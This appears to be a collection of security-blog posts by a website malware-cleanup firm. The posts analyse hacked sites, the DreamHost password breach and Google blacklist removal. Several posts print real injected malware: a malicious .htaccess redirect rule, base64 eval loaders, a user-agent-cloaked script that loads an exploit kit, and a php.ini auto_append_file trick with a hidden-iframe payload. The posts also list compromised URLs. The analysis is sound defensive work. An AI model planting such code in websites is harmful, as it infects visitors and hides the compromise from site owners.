On all the sites we analyzed, the .htaccess file was modified so that if anyone visited the site from Google, Bing, Yahoo, or any major search engine (by checking the referer), it would get redirected to that malicious domain (http://enormousw1illa.com/nl-in.php?nnn=556).

This is what gets added to the .htaccess file of the hacked sites:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteRule .* http://enormousw1illa.com/nl-in.php?nnn=556 [R,L]

Google is already blacklisting it and so far it found that it was used to compromise 787 domains (but the number is probably bigger, since that domain just went live 3 days ago – Jan 29):

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 787 domain(s), including mieszkanielondyn.com/, thecentsiblelife.com/, red66.com/.

What is very interesting is that this malware is hosted at the same IP address as other domains that were used in .htaccess attacks in the past, so we think it is all done by the same group:

enormousw1illa.com
infoitpoweringgathering.com
sweepstakesandcontestsdo.com
sweepstakesandcontestsnow.com
.. few more domains ..

We will be monitoring how it is growing and we will post more details soon.

DreamHost looks to have done a great job notifying affected customers via the update page, keeping them up-to-date throught out the day until the issue was resolved. It looks like all FTP passwords were indeed reset.

We recommend that all DreamHost customers log into to their accounts and check their account status. It is encouraged that you change your account passwords, and it wouldn’t hurt to change your FTP and database passwords again just to make sure.

If you read through the comments on the blog post listed above, you will see quite a few complaints about infected sites across DreamHost servers over the last few months. As of now, these infection issues do not look to be related to yesterdays security incident.

One user on the DreamHost Status Blog attributes the malware issues to the DreamHost one-click install wizard, we have not confirmed this:

Apparently, the breach occured in November via the
one-click install wizard offered by Dreamhost: One click and your whole
Wordpress / Drupal web site is installed, ready to use, automatically updated
by the wizard. Apparently, it’s the wizard itself that was compromised and
anybody who used it was affected.

We have cleaned quite a few of these websites, and most of them were infected through outdated software installed by the customer. The important note to take here is it’s crucially important to ensure you’re keeping your sites updated. Remember, security is everyone’s responsibility. If you’re running a website you have a responsibility to your readership, customers, and the online world in general.

Updated (January 21st, 2011 – 14:22 PST) DreamHost CEO released a Security Update blog post on the official DreamHost blog.

Simon Anderson, DreamHost CEO, says,

“our systems have stored and used encrypted passwords for a number of years, however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though).”

Sucuri is unclear of the impact from the breached passwords at this time, but we’ll update as we get more information about the incident.

If you’re interested in learning about your website security health, run a free scan with Sucuri SiteCheck, hopefully you’re green across the board.

<?php // Any reproduction of this document in part or in whole is strictly prohibited. For educational purposes only. 1993-2011 (c)
error_reporting(0) ;eval ( base64_decode("JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMG..

See the nice eval line? This eval line hides multiple calls to generate spammy content. The spammers even added a nice disclaimer to help discourage the site owner from analyzing the malware, very nice of them we thought.

Technical analysis

We did a bit more research on this type of spam and we found a bunch of other sites with the same content. However, the use of tracks.php was not consistant. The attackers were using random names across sites (paypal.php, content.php, possible.php, original.php, counter.php, packs.php, etc). They all perform very similar actions, they just use different names.

It seems that quite a few university sites are infected with this malware:

http://www.physics.hmc.edu/courses/p057/pmwiki/uploads/original.php?cpq=8548&KEV=1324630801

http://sustainabilitystudies.gmu.edu/wp-content/uploads/2011/09/original.php?rbb=8410&WFR=1321164001

http://iml.usc.edu/wp-content/uploads/2011/09/original.php?kex=31192&XAW=1319432401

http://www.cs.lamar.edu/upload/original.php?prv=39367&DAC=1324018801

http://financialaid.gmu.edu/wp-content/uploads/2011/11/original.php?mip=17989&ZRP=1320876002

http://www.rio.edu/chemistry/images/paypal.php?tyi=11921&XAN=1319922001

http://oceanai.mit.edu/kfisher/prices.php?zof=28644&GYC=1322848802

http://globalchange.umich.edu/gctext/paypal.php?dmh=18852&OOB=1323802801

http://schorr.edu.pl/296530829installation/tablets.php?q809=257

http://summer.gmu.edu/wp-content/uploads/2010/tablets.php?rtu=35250&TJI=1322301601

http://www.tekim.undip.ac.id/original.php?wmy=7611&UPO=1325300401

http://www.ise.gmu.edu/alumni/possible.php?jnx=44623&TWF=1325822401

http://sacs.tfc.edu/possible.php?rce=5245&LZB=1319709601

http://www.cibt.net/possible.php?dgo=23988&ZHJ=1326150001

http://iam.unh.edu/iam/possible.php?rzn=33811&VYF=1325570401

http://convivencia.uniminuto.edu/dmdocuments/democracy.php?uwd=25793&JKL=1318748401

http://snapi2011.cs.fiu.edu/cookbook/brand.php?ehp=17578&OPS=1324339201

http://www.chemistry.sdsu.edu/TheVolumeSettingsFolder/order.php?ehk=12187&PAE=1325854801

http://ifi.edu.mx/suspended.page/prices.php?l678=218

http://www.bio.sdsu.edu/pub/spiders/Dunes/Images/prices.php?wnv=14632&EVP=1325941201

http://www.garamond.ca/wp-content/plugins/democracy/democracy.php?dem_action=view&

If you click on any of those links you would get a Viagra ad(or pharmacy shop), or other pharmaceutical related spam:

Most of those seem to be caused by outdated installs of WordPress. As we always recommend, update your site if you don’t want to end up in a compromised list like this one.

If you need assistance, or a site cleaned, check out the Sucuri service plans.

One of the new items we’ll be implementing this year will be quarterly management meetings. For those that don’t know, we are a virtually distributed team spanning across North and South America. The purpose of these meetings will be to continue to improve our services, address issues we see everyday, and look to the future.

We also want to use these meetings to address questions, comments, and concerns our users have. We have been committed to this since our inception, but want to become more proactive; its one of the reasons we have this R&D blog. I would like to personally encourage you all to let us know things you’d like to see Sucuri do and offer in 2012. Feel free to leave us a comment or two.

A couple of things to consider:

• What information can we offer via our posts that would make it more informative to you?
• If you’re a client, what can we improve in regards to our paid service?
• Do you use the WordPress Sucuri plugins? If so, what can we improve? What features are you most interested in?
• What works? What doesn’t?

Our goal is to address as many of the comments as possible, and you never know, we could also integrate some of your suggestions into new service offerings and our long-term strategy.

We want to stay true to our slogan, Protect Your Interwebs, we can only do this through engagement with you, and the rest of the web-o-sphere.

Looking forward to a great year!

After a bit of manual testing, we noted that the malware was only being displayed to certain browsers (IE and Chrome on Windows), and not on the others.

Once we got access to the site, we learned why. It had the following code on the index.php file:

error_reporting(0);
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array(’12345′,’alexa.com’,'anonymouse.org’,'bdbrandprotect.com’,
‘blogpulse.com’,'bot’,'buzztracker.com’,'crawl’,'docomo’,'drupal.org’,
‘httpclient’,'internetseer.com’,'linux’,'macintosh’,'mac os’,'magent’,'mailru’,
‘netcraft’,'openacoon.de’,'opera mini’,'opera mobi’,'playstation’,
‘rssreader’,'slurp’,'snoopy’,'spider’,'spyder’
,’validator’,'virus’,'vlc media player’,'webcollage’,'wordpress’,'x11′,
‘iphone’,'android’, ‘firefox’);
foreach ($botsUA as $bs) {if(strpos(strtolower($ua), $bs)!== false){$bot = true; break;}}
if (!$bot){
echo(base64_decode("PHNjcmlwdD5pZih3aW5kb3cuZG9jdW1lbnQpYT0icmYzIi5zcGx…

Do you know what it does? It checks the user agent (aka browser) of the person visiting the site and only displays the malware if it does not contain the strings “Linux”, “Mac”, “Iphone”, “Firefox”, “Bot”, “Virus”, etc…

So if you are on a Mac, or Linux, or using Firefox, nothing would happen. However, when you go to the site using Windows and IE or Chrome, it would attempt to compromise your browser/computer.

This makes much harder for the owner of the site to detect the malware and take action to remove it. That’s why on our malware scanner, we use multiple Browsers, referrers, and user agents to try to catch any hidden malicious code. So just because you can’t see it, doesn’t mean it is not there

Technical details

If you are curious about what that code above does after being decoded, it prints the following JavaScript to the bottom of the site:

<script>if(window.document)a="rf3".split("5236").pop+’qwe’;a=a["spli"+"t"](“”).reverse()["po"+"p"]();if(a==’f'||a==”\n”)
f=[5,5,101,98,28,36,96,107,95,113,105,97,106,112,42,99,97,112,65,104,97,105,97,
106,112,111,62,117,80,93,99,74,93,105,97,36,35,94,107,96,117,35,37,87,44,89,37,
119,5,5,5,101,98,110..

When this script read by the browser, it will create an iFrame to http://vvesek.freetcp.com/i/i.php?go=1 (and variations – these domains change often), where the actual Blackhole Exploit Kit code will come from.

Conclusion

This is just an example why sometimes users complain of malware when visiting a site, but the owner doesn’t see it. This may also lead to Sucuri scanner alerts and the owner can’t find the issue. If you have any questions, let us know.

The disclosed vulnerability can only be triggered via Internet Explorer according to the disclosing party, our tests lead to the same result.

To further note, this is hard to reproduce because it does not get triggered when WordPress is installed via a domain. If you’re running WordPress 3.3, and WordPress was installed via a domain, you’re not vulnerable. (ethicalhack3r)

We do not consider this to be a serious vulnerability, however, we recommend updating to WordPress 3.3.1 since the vulnerability can be used in targeted attacks. More info on the release can be found in the WordPress Codex, over via the release post.

We have some cool projects and posts to share in the near future, so stay tune for updates soon.

The plugin loads a Flash player from “http://rod.gs/_SVP/5.7.1896/player.swf?ver=1.3.2″, a domain (rod.gs) which is currently blacklisted by Google, so anyone visiting your site will get the cross-site warning message. Since it is a popular plugin (with more than 100k downloads), this could be affecting quite a few websites.

This is the message users would see:

www.site.com contains content from rod.gs, a site known to distribute malware. Your computer might catch a virus if you visit this site.

Google has found malicious software may be installed onto your computer if you proceed. If you’ve visited this site in the past or you trust this site, it’s possible that it has just recently been compromised by a hacker. You should not proceed, and perhaps try again tomorrow or go somewhere else.

We have already notified rod.gs that we found malware on the site. For more about the problems found on rod.gs, visit the Google Safe Browsing diagnostic page.

Getting blacklisted stinks, but it’s worse when your site isn’t the source.

Unless you want your users to get a warning message every time they visit your site, it is a good idea to disable this plugin.

Is your website infected with malware and need professional assistance? Get protect with Sucuri Security.

We are seeing an increased number of infected sites with malicious iframes, similar to this one:

<style type=”text/css”>#doxig {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id=”doxig” src="http://1306a95ajbr.liga4giurgiu.info/ad.jpg?2"></iframe>

These specific strings aren’t typically found anywhere in the website files, which is very concerning. We’re finding that entire servers are being compromised, and the main server php.ini file (/etc/php/php.ini) has the following setting added:

;auto_append_file = “0ff”

This simple line in the php.ini makes all the php scripts append the output of the file 0ff (/tmp/0ff) to them. So even if your files look clean, the malware is still displayed to anyone visiting the site.

This is the code of the 0ff file:

<?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
 !@preg_match(‘/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|
Mac OS|Opera Mini|Chrome|Apple/i’,$_SERVER['HTTP_USER_AGENT'])) {
 echo ’<script type="text/javascript">
 d=new Date();
 d.setDate(d.getDate()+1);
 document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
 </script>’;
 echo ’<style type="text/css">#doxig {width: 10px;height: 10px;frameborder: no;
visibility: hidden;scrolling: no;}</style><iframe id="doxig" src="

http://1306a95ajbr.liga4giurgiu.info/ad.jpg?2"></iframe>’;

}

So if you are seeing those hidden iframes, try to look at your PHP and main Apache configurations.

Need help with malware? Need someone to clean your site? Sign up here: Sucuri

Question: My site was hacked and we cleaned and secured it properly. We also scanned it, and it is showing up as clean. However, it is still blacklisted by Google. How long until they remove us?

Answer: This is a very common question. In fact, every time we clear a hacked site, their owner asks us the same question: How long until that scary red warning sign is gone?

To give a solid answer to our clients, we started to time how long it takes from when the review submission is requested, until the site is reviewed and removed by Google. We have now measured a few hundred blacklist removals and we have some good numbers to back up our tests.

Current Results:

• Average time from submission to removal: 440 minutes (about 7 hours)
• Maximum time: 792 (13 hours)
• Minimum time: 290 (a bit less than 5 hours)

On average, it takes Google around 7 hours to clear your “bad” website from their lists. For our lucky clients, it takes roughly 5-6 hours. Another important point that some people forget is that you need to request a review! Google will not automatically remove a site once cleaned.

How do you increase your odds of getting cleared faster?

1. Make sure to clean everything up!
2. Do not remove the infected files, fix them. If you remove them, they will 404, and a 404 will delay the verification (even if you need to leave the file with a 0-size, don’t remove it until after the site is de-listed).
3. Follow best practices to increase security on your site so that you minimize the risk of reinfection.

That’s it. Let us know if you have any questions or comments.

Is your site hacked? Blacklisted? We are here to help! We can get your sites cleaned up and secured right away!